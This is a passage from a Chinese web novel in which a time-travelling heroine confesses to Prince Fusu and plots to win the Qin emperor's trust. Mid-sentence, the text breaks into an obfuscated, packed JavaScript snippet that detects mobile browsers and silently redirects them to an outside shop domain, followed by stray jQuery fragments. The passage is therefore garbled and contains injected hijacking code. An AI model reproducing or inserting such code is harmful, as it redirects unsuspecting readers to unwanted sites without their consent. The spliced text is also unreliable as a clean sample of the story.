“你要去咸阳?那我呢?”扶苏听到宋知意的话,愣住了。
“公子自然是留在上郡啊。”她失笑。
“在上郡无论做什么,有我保着你,在咸阳就不一样了。”沉默了一会,扶苏缓缓道。
“既然开口,臣下自然是已经深思熟虑过了。”宋知意敬了他一杯茶,“士为知己者死,女为悦己者容,我两样都占了,怎么能不为公子殚精竭虑呢?”
这话已近乎赤裸裸的告白了。
说到底她只是个普通的大学生,咸阳的朝堂风起云涌,别说赵高李斯,就连小喽啰她都不一定斗得过。此去她心里没什么底,索性一鼓作气说出心意,免得临死前后悔。她也做好了扶苏惊讶不解的准备,毕竟在他的视角,他们才认识了数天,或许友谊都不怎么牢固,更别提男女之情了。
油灯的火苗跳了一下,扶苏眼里的光随之闪动:“宋姑娘在这上郡待了数十天,扶苏却觉得在上郡的四年,印象深刻的也只是这数十天。原本扶苏还想再等一等,等真正看清自己和姑娘的心意,谁知竟让姑娘先说出口了,实在羞愧难当。知意,别去咸阳了,和我待在一起吧。”
宋知意呆呆地看着他,觉得周围的空气被抽走了一样,难以呼吸。事情的发展出乎了她的意料,扶苏的目光温柔缱绻,几乎要让她陷进去。
他也喜欢她?
所以,答应他,然后琴瑟和鸣地等着他死吗?
她一下子站了起来,摇了摇头,生怕自己反悔似的,急急道:“知意何其有幸,能得公子青睐,只是局势完全不如公子所想那般轻松,请公子听我一言。”
“公子是嫡长子,天下皆知。但你父皇这些年,身边带着的是谁?胡亥。你被派到上郡来,名义上是监军御匈奴,实际上,”她顿了一下,把“被放逐”三个字咽回去,换了个温和点的说法,“离他太远了。”
扶苏没有说话。
“远不是问题,”宋知意接着说,“问题是距离带来的信任流失。你父皇四年来看到的奏报听到的消息,大部分经过赵高。你做了什么又做得怎么样,全凭赵高转述。而胡亥就在咸阳,天天在跟前。换你是你父皇,一个天天见面的儿子,和一个四年见不到的儿子,你更信任谁?”
扶苏的睫毛垂下去,落在炭火映照下的眼睑上,投了一小片阴影。
“所以,”他开口,“我该怎么做?调回咸阳?”
“你不能调回咸阳。”宋知意说,“你父皇把你派出来,你再主动要求回去,只会让他觉得你不安分。”
“你需要一件大事,让你父皇看到你在上郡做了好事,而且是你主导的事。”
扶苏的目光微微抬起来,落在她脸上。
“比如?”
“比如——”宋知意从袖中抽出一张木牍,递过去。
那是她下午在文吏房做的北地郡入秋以来的军情汇总,末尾提到“匈奴右贤王部今冬活动频繁,似有开春南下之意”。
扶苏接过去看了两息,眉头微动。
“明年春天,匈奴有可能犯边,规模可能不大,但足够打一场仗。而你在上郡守了四年,是最熟悉这片地形的人。”宋知意看着他的眼睛,“如果匈奴真的来了,你亲自带兵,打一场漂亮的胜仗。捷报送到咸阳的时候,你父皇看到是扶苏亲自打了胜仗,会对你有什么想法?”
扶苏沉默了一会儿,他把那张木牍放在案上,指尖压在边缘,指腹摩挲着粗砺的木纹。
“你让我预判匈奴来犯,然后提前准备,”他抬头看着她,“你怎么确定他们一定会来?”
宋知意迎着他的目光,心跳快了几拍,总不能说曾经在书上看到过。
“我不确定。”她说,声音沉稳,“但你提前布防,不来是守边有功,来了是料敌机先。怎么算都不亏。”
说完这句话,宋知意感到喉口一阵腥甜。
说这么委婉了也会被天道警告吗?
她心里沉了沉,舔舔嘴唇,继续道:“胡亥公子在你父皇身边长大,你父皇喜欢他,因为他会说话,经常在身边。但你父皇如果真的想传位给他,早就可以下诏立太子了,为什么一直没有?”
“因为你父皇心里清楚,”宋知意说,“胡亥没有当皇帝的能力。”
她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17820211|211129||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
说得很直白,扶苏的眉心跳了一下。
“我怎么说也是他兄——”扶苏开口,被宋知意抬手止住了。
“胡亥能不能当皇帝,不是公子说了算,而是皇帝说了算。”她说,“但如果你父皇知道了胡亥在外面做的事情,那些他以为没人知道的事情,他会怎么想?”
扶苏看着她:“你知道什么?”
宋知意笑了笑:“我什么都不知道啊,但我去了咸阳之后,会让皇帝知道的。”
扶苏看着她,声音比刚才低了一些:“你非要去咸阳,你知道那是什么地方吗?”
“大秦的都城,你父皇住的地方。”宋知意说,“我知道。”
“你知道赵高是什么人?”
“知道。”
“你知道如果被发现了——”
“知道。”宋知意打断他,声音轻但稳,“所以我不会让他发现。我去咸阳,不是去跟赵高打架的,而是去做一件事。”
扶苏叹了口气:“什么事?”
宋知意没有立刻说出口,而是先分析局势:“赵高把持着咸阳到上郡的信息通道,你父皇身边所有往外递的诏书往内传的奏报,都要经由他手。你写再多奏报,表再多忠心,赵高可以让你父皇看到,也可以不让他看到。”
扶苏的嘴角微微抿了一下。
宋知意低下头,手指轻轻叩了叩桌面。她接下来的话,是整个计划里最大胆的部分。
“你父皇这几年一直在找方士,徐市骗了他几千万钱,说是去东海找仙药,一去不回。他还痴迷长生术,宫里养了不知道多少炼丹的人,”她说,“但那些方士没有一个真的有用。”
“如果我能,”宋知意轻轻吸了一口气,“如果我能比你父皇身边任何一个方士都厉害,能看到他们看不到的,算出他们算不出的,你父皇会听我的。而他信任我,就等于信任你。”
扶苏沉默了很久。
“你何苦为我做到如此?”他缓缓道,抬头看她,眼睛像清澈的湖水。
因为你是扶苏啊。
宋知意行了一礼,珍重道:“请殿下相信我吧。”